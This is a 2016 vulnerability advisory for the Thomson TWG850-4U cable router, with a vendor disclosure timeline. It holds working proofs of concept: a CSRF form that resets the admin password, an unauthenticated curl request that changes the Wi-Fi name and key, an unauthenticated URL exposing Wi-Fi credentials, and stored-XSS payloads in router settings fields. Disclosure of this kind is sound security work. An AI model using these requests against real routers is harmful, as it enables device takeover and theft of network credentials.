Thomson Router TWG850-4U XSS / CSRF / Unauthenticated Access
Posted on 09 March 2016
[System Affected] Thomson Router HW Revision 2.0 VENDOR Thomson BOOT Revision 2.1.7i MODEL TWG850-4U Software Version ST9D.01.09 Serial Number 00939902404041 Firmware Name TWG850-4U-9D.01.09-100528-S-001.bin [Vulnerabilities] 1- Cross-Site Request Forgery 2- Unauthenticated access to resources 3- Persistent Cross-Site Scripting [Advisory Timeline] 06-Jan-2016 - Vendor contacted through the website 11-Jan-2016 - Email sent to vendor 09-Mar-2016 - Public Disclosure [Description of Vulnerabilities] 1- Cross-Site Request Forgery An attacker who lures a TWG850-4U user (authenticated or unauthenticated) to browse a malicious website can exploit cross site request forgery (CSRF) to submit commands to the wireless router and gain control of the product. The attacker could submit variety of commands including but not limited to changing the admin account password, the network settings, etc. All the application is vulnerable, for example it is possible to: Change user/password & Factory Reset - http://<Router IP>/goform/RgSecurity Change wireless settings - http://<Router IP>/goform/wlanPrimaryNetwork Restore a backup - http://<Router IP>/goform/RgBackupRestore Enable/Disable Advanced Options - http://<Router IP>/goform/RgOptions Store a XSS - http://<Router IP>/goform/RgTime [PoC for Change user/password] <html> <body> <form action="http://192.168.0.1/goform/RgSecurity" method="POST"> <input type="hidden" name="HttpUserId" value="" /> <input type="hidden" name="Password" value="admin" /> <input type="hidden" name="PasswordReEnter" value="admin" /> <input type="hidden" name="RestoreFactoryNo" value="0x00" /> <input type="submit" value="Submit request" /> </form> </body> </html> 2- Unauthenticated access to resources It is possible to perform actions within the router configuration without being authenticated; it's only required to know the proper urls and parameters. For example it is possible to: Wireless name and password in plain text - http://<Router IP>/GatewaySettings.bin Restore a backup - http://<Router IP>/goform/RgBackupRestore Change Advanced Options - http://<Router IP>/goform/RgOptions Store a XSS - http://<Router IP>/goform/RgTime Change user/password & Factory Reset - http://<Router IP>/goform/RgSecurity Change Wireless name and password - http://<Router IP>/goform/wlanPrimaryNetwork [PoC for Change Wireless name and password] curl -i -s -k -X 'POST' -H 'Content-Type: application/x-www-form-urlencoded' --data-binary $'PrimaryNetworkEnable=1&ServiceSetIdentifier=<Wireless Name>&ClosedNetwork=0&WpaPskAuth=1&Wpa2PskAuth=1&WpaEncryption=3&WpaPreSharedKey=<NEW KEY>&ShowWpaKey=0x01&WpaRekeyInterval=0&GenerateWepKeys=0&WepKeysGenerated=0&displayPrimaryROMsg=0&commitwlanPrimaryNetwork=1' 'http://<Router IP>/goform/wlanPrimaryNetwork' 3- Persistent Cross-Site Scripting Two instances of an store Cross-Site scripting were found within the router web interface. - http://<Router IP>/goform/RgTime [TimeServer1 Parameter] - http://<Router IP>/goform/RgTime [TimeServer2 Parameter] - http://<Router IP>/goform/RgTime [TimeServer3 Parameter] - http://<Router IP>/goform/RgUrlBlock [BasicParentalNewKeyword Parameter] [PoC #1] POST /goform/RgTime HTTP/1.1 <..> TimeSntpDisable=2&TimeServer1=clock.via.net&TimeServer2=ntp.nasa.gov&TimeServer3=%22%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&TimeZoneOffsetHrs=0&TimeZoneOffsetMins=0&ResetSntpDefaults= [PoC #2] POST /goform/RgUrlBlock HTTP/1.1 <..> BasicParentalNewKeyword=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&BasicParentalKeywordAction=1&BasicParentalNewDomain=&BasicParentalDomainAction=0 S3ba @s3bap3 http://linkedin.com/in/s3bap3
